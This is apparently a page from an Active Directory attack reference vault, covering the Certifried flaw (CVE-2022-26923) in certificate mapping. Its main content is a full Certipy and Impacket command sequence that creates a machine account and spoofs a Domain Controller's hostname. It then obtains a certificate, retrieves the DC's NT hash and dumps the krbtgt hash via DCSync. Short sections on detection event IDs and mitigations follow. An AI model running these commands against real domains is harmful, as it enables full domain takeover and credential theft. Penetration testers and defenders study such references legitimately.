title: "Attack #36 β Certifried (CVE-2022-26923)" description: "Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a newβ¦" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "credential-access", "persistence"] tools: ["Impacket", "Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/π’ Attack #36 β Certifried (CVE-2022-26923).md"#
π’ Attack #36 β Certificate Persistence (Certifried / CVE-2022-26923)#
π How It Works#
Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new machine account (via MachineAccountQuota), change its dNSHostName attribute to match a Domain Controller's hostname, then request a Client Authentication certificate. The CA issues a certificate with the DC's hostname β allowing the attacker to authenticate as the DC and perform DCSync.
Attack Flow#
1. Create machine account (FAKE$) via MachineAccountQuota
2. Change FAKE$'s dNSHostName to DC01.corp.local
3. Request a certificate using the Machine template
4. CA issues cert with DC01.corp.local in the SAN
5. Authenticate with the certificate β impersonate DC01$
6. DCSync β domain compromise
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| MachineAccountQuota > 0 | Default is 10 β allows domain users to create computer accounts |
| ADCS deployed with Machine template | Standard deployment has this |
| Unpatched DCs | CVE-2022-26923 patched in May 2022 |
π» Full Commands#
# ββ Step 1: Create machine account ββββββββββββββββββββββββββββββββββββββββββββ
certipy account create -u low_user@corp.local -p 'Password1' \
-user 'FAKE$' -pass 'FakePass123!' -dc-ip 10.10.10.10
# Or:
addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
-dc-ip 10.10.10.10 corp.local/low_user:'Password1'
# ββ Step 2: Change dNSHostName to match DC ββββββββββββββββββββββββββββββββββββ
certipy account update -u low_user@corp.local -p 'Password1' \
-user 'FAKE$' -dns DC01.corp.local -dc-ip 10.10.10.10
# ββ Step 3: Request certificate for FAKE$ (with DC01 hostname) βββββββββββββββ
certipy req -u 'FAKE$@corp.local' -p 'FakePass123!' -ca CORP-CA \
-template Machine -dc-ip 10.10.10.10
# CA issues cert with DC01.corp.local in SAN
# ββ Step 4: Restore dNSHostName (cleanup) βββββββββββββββββββββββββββββββββββββ
certipy account update -u low_user@corp.local -p 'Password1' \
-user 'FAKE$' -dns FAKE.corp.local -dc-ip 10.10.10.10
# ββ Step 5: Authenticate as DC01$ βββββββββββββββββββββββββββββββββββββββββββββ
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10
# Returns DC01$ NT hash
# ββ Step 6: DCSync ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
secretsdump.py corp.local/'DC01$'@DC01.corp.local \
-hashes :<DC01_HASH> -just-dc-user krbtgt
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4741 | Security Log (DC) | Computer account creation |
| 5136 | Security Log (DC) | dNSHostName attribute modification on computer object |
| 4886 | Security Log (CA) | Certificate enrollment for machine account |
π Attack Chain Context#
[Certifried] βββ Machine account cert abuse β DC impersonation β DCSync
β
ββββ π CVE-2022-26923 β patched May 2022
ββββ π» Low-priv β machine account β DC cert β full domain
ββββ π Defeated by: patch, set MAQ=0, monitor dNSHostName changes
β Attack #36 β Certifried complete.
π Category 4 β ADCS Attacks is now COMPLETE (10/10 attacks).